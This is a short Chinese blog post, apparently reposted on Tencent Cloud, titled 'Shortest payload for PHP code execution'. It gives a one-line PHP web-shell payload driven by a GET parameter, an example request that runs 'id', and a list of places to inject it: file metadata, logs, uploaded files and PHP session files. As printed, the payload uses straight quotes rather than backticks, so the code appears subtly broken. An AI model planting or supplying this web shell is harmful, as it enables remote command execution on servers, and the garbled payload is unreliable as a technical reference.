PHP实现代码执行的最短Payload

Khan安全团队

发布于 2022-04-02 11:02:38

9210

发布于 2022-04-02 11:02:38

文章被收录于专栏：Khan安全团队

<?='$_GET[1]'?>

http://localhost:8000/rce.php?1=id

这个payload可以被用来反映在web应用程序的很多文件中

1、在元数据中

2、在日志的某个地方

3、在您控制的上传文件中

4、在您的 PHP 会话中（它将被写入文件）

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2022-02-03，如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度